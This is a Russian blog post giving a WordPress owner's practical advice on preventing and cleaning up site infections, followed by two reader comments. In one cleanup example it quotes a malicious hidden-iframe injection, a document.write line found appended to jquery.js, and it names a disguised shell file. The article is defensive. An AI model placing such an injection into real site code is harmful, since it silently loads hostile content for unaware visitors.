Вирусы на сайтах. Как быть хозяином. Инструкция от А до Я.

[notice]Весь материал в этой статье мой личный опыт и знания. Я не претендую на роль специалиста, поэтому любые поправки приму к сведению и добавлю в свой багаж знаний.[/notice]

Может быть, я работаю спустя рукава, может быть, недооцениваю свой труд, может быть слишком легкомысленный, но я до сих пор позволяю вирусам ковыряться в моих кормильцах — сайтах.

Знаю, как в большинстве случаев проходит атака, какие меры предпринимать, чтобы избежать заражение – копал эту тему много и часто, но до сих пор состою в рядах жертв.

WordPress дырявый – это факт. Кто еще думает, что полностью обезопасил себя (обновил движок, обновил плагины, удалил ненужные плагины или прописал код плагинов вручную, создал 16-значные пароли с символами, которые вы даже в голове не можете запомнить и т.д.) – тот слишком самоуверен в себе.

Надо быть всегда на чеку, и в первую очередь не лениться. Об этом и поговрим.

Я параноик? Вы ошибаетесь! Спокойно работая в своем уютном кресле, вы со 100% уверенностью считаете, что ваши сайты никому недоступны? Поверьте, это не так. Ваш кормилец всегда под угрозой и ваша задача помочь остаться ему здоровым.

В этом месяце меня атаковали 2 раза, и оба раза мои сайты помечались как зараженные. Естественно упал трафик, я потерял деньги и нервы 🙂 , но получил еще один хороший и бесценный опыт.

Что делать, чтобы спать спокойно?

Чтобы обезопасить себя на 50% (взял из головы), НУЖНО ВЫПОЛНЯТЬ самые простые инструкции и не забывать о них:

  1. Читаем эту познавательную статью http://habrahabr.ru/blogs/wordpress/98083/, и эту тоже http://shakin.ru/wordpress/wordpress-security-part-1.html (там 2 части) и выполняем эти инструкции на своих любимых кормильцах.
  2. Никогда не устанавливайте шаблоны из паблика, а если берете, то досконально изучите каждый файл. Часто можно найти внешние замаскированные ссылки (что еще не очень печально) или шелл (что очень печально). Об этом я расскажу чуть ниже.
  3. На вашем компьютере должен быть установлен нормальный лицензионный антивирус – лучше всего Касперский. Советую также не серфить по сомнительным сайтам (с кучей рекламы, говнобаннеров и порнухи).
  4. Доступ к файлам на вашем хостинге должен осуществляться по SSH. Если у вас FTP, то я вам не завидую. Иногда на хостинге приходится писать в техподдержку, чтобы вам дали доступ. Менять пароли лучше раз в неделю.
  5. Чем чаще вы будете делать бекап сайта с базой данных, тем крепче вы будете спать. Хорошо, если бекапы автоматически делаются на хостинге.
  6. Зарегистрируйте сайт в http://webmaster.yandex.ru/ . Об атаке вы очень быстро узнаете, что заставит вас, наконец подумать о безопасности своего кормильца.
  7. Еженедельно вместе со сменой пароля делайте проверку файлов сайта на наличие угрозы. Для этого очень хороший человечек написал скрипт http://www.greg.su/2011/09/iskalka-khakerskikh-skriptov-na-vashem-khostinge-update/. Загружаем в корень сайта и выполняем команду http://вашсайт.ru/ai-bolit.php.Через несколько секунд вы увидите список директорий, которые обозначены разным цветом. Красный – угроза, срочно проверять и лечить. Желтый – возможная угроза, тоже стоит посмотреть (как раз чаще всего шелл, но также помечены исходные файлы — новичку будет сложно). Синий — директории, которые можно использовать для атаки. Но этот чудо файл видит не все, поэтому это только дополнительная профилактика.Дополнительно проверяем файл .htaccess на наличие подозрительного кода.
  8. Закройте регистрацию на своем сайте.
  9. Никогда и не при каких условиях не сохраняйте свои пароли в браузерах и других программах.

Что делать, если сайт заражен?

Зараза  бывает разной 🙂 Поехали!

Вариант 0. Плохой админ.

Если вы любитель развешивать большое количество баннеров и тизеров, которые ведут на сомнительные ресурсы, то будьте готовы к тому, что некоторые из них могут быть источником вредоносного кода.

Порядок действий при лечении:

  • Убираем тизеры и баннеры с сайта.

Пример из практики:

  • Тизерная сеть TeaserNet. Я ничего против нее не имею и возможно там сейчас все нормально, но год-полтора назад, когда я работал с этой партнеркой, мой сайт «мигал» в выдаче в течение недели как зараженный.  Я искал проблему несколько дней, пока не установил антивирус Касперский, который сразу «выругался матом» на тизеры.

Вариант 1. Дилетанты.

В этом случае вы быстро узнаете о вирусе, если выполняете пункт 3 и 6. Трафик падает почти на 70% с Яндекса, а ваш антивирусник (не всегда) брезгливо реагирует, когда вы открываете свое детище.

Порядок действий при лечении:

  1. Сканируем свой компьютер на вирусы.
  2. Меняем FTP/SSH доступ и пароль в админку.
  3. Запускаем волшебный скрипт – пункт 7. Часто можно найти <iframe> и подозрительные javascript. Все подозрительное удаляем и очищаем кеш на сайте.
  4. Проверяем .htaccess на наличие подозрительного кода.
  5. Если волшебный файл не помог – действуйте кардинально. Сносим сайт, предварительно сделав его бекап, устанавливаем чистые исходные файлы. Поверьте, это лучший выход и всегда помогает.
  6. Для тех, кто не хочет переустанавливать сайт — пишем в поддержку Яндкса Платону и спрашиваем примерно так : «Укажите пожалуйста, где на моем сайте может быть расположен вредоносный код, я не могу найти» , или что-то в этом роде. ВНИМАНИЕ! Ответ не всегда вам поможет, читаем примеры из практики.

Примеры из  практики:

  1. <iframe> и javasсript часто бывают в footer.php, index.php, single.php.
  2. В более изощренных случаях можно найти expoit в js файлах вашей темы/движка wordpress/плагинов. Выглядит как зашифрованный код. Об Exploit отдельная глава дальше.
  3. При обращении в яндекс был такой ответ «Проверьте, пожалуйста, скрипт http://www.блаблабла.ru/js/jquery.js В конце скрипта приписан вредоносный код следующего содержания: document.write(‘<iframe style=»width: 0%; height: 0″ src=»http://блаблабла.info/viewforum.cgi?xmad» scrolling=»no» frameborder=»0″></iframe>’);» . Но были указаны чужие сайты и, скорее всего, вредоносный код подгружался с другого сервера.
  4. При обращении в яндекс, мне прислали большой кусок кода, который видимо нашли на сайте и вежливо попросили «Если Вам удастся найти у себя в файлах источник заражения, мы будем крайне признательны, если Вы пришлете нам образец этого кода, и сообщите, где именно он находился. Это очень поможет нам в борьбе с этим видом заражения.». Это значит, что вам не помогут.

 Вариант 2. Профи

Во этом случае вы даже не будете догадываться, что вас уже атаковали. На ваш сайтик уже загрузили шелл и, скорее всего он (шелл) стоит в очереди на продаже, например вот тут 🙂 http://forum.antichat.ru/forum152.html.

Для чего это делают? Шелл, это php файлик с зашифрованных кодом, который могут поместить в любую папку вашего сайта замаскировав его под must have файл.

Порядок действий при лечении:

  1. Сканируем свой компьютер на вирусы.
  2. Меняем FTP/SSH доступ и пароль в админку.
  3. Запускаем волшебный скрипт – пункт 7. Смотрим на файлы, которые не должны идти с дистрибутивом wordpress. Просматриваем их в любом текстовом редакторе на предмет непонятного кода. Удаляем.

Пример из практики:

  1. На 2х сайтах был обнаружен  wp-registers.php – рядом с ним лежит нормальный wp-register.php. С помощью этого файлика на моем сайте простой командой http://мой-сайт/wp-registers.php можно выполнять очень много действий, например, поставить внешнюю ссылку.

Вариант. 3. Хакеры

В этом случае все намного сложнее. WordPress, несмотря на свою защищенность, дырявый. Специалисты по взлому свободно делают SQL – инъекции в базу данных. Например, можно создать второго пользователя под правами admin или сбросить пароль admin. Чаще всего данной процедуре подвержены обладатели старых версий движка, а также любители использовать многочисленные плагины.

Порядок действий для профилактики:

  1. Всегда обновляйте WordPress.
  2. Если есть возможность, используйте как можно меньше плагинов. Тот же page-navi можно заменить простым кодом в functions.php.
  3. Обновляйте плагины своевременно.

Это защитит вас от большинства проблем связанных с SQL – инъекциями, но не устранит угрозу полностью. Также советую к прочтению http://help.yandex.ru/webmaster/?id=1071326 .

Вриант 4. XSS

В этом случае используются XSS атаки. Я не буду подробно на этом останавливаться. Вы сами можете ознакомиться с этим в хелпе яндекса http://help.yandex.ru/webmaster/?id=1111321.

Универсального метода защиты в этом случае нет, для профилактики можно установить плагин Anti-XSS attack.

 Exploit или вариант 5.

Читаем прекрасный мануал по поиску и очистки сайта от Exploit http://cssing.org.ua/2008/06/01/wp-footer-exploit/ . Чаще всего новичку очень туго и отнимает много времени.

Как чаще всего происходит заражение сайта?

Как это не печально, но в большинстве случаев виноват владелец сайта. Пропустив однажды вредоносную программу на свой компьютер, и не выполняя простейшие методы профилактики (пункт 1-9) вы соглашаетесь добровольно дать доступ к своему сайту.

Также, для ознакомления – вердикты яндекса http://help.yandex.ru/webmaster/?id=1116573. Часто это помогает быстро найти источник угрозы на сайте.

Спасибо за внимание и будьте бдительны.

Вирусы на сайтах. Как быть хозяином. Инструкция от А до Я.: 2 комментария

  1. Рони

    Дим, огромное спасибо за статью!!! Постоянно параною на эту тему, но инфа везде очень разрозненная, и целостного представления о том, как защитить сайт от вируса и что делать, если вирус все-таки подцеплен, особо нигде нет, так, разрозненные советы попадаются. А тут все структурировано и разжевано! Пошла изучать статьи по ссылкам и принимать меры))

    1. DimaBerg Автор записи

      Спасибо. Люблю делать подобные статьи, в первую очередь это потом мне же и помогает, 🙂 чтобы лишний раз не искать ответы )

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *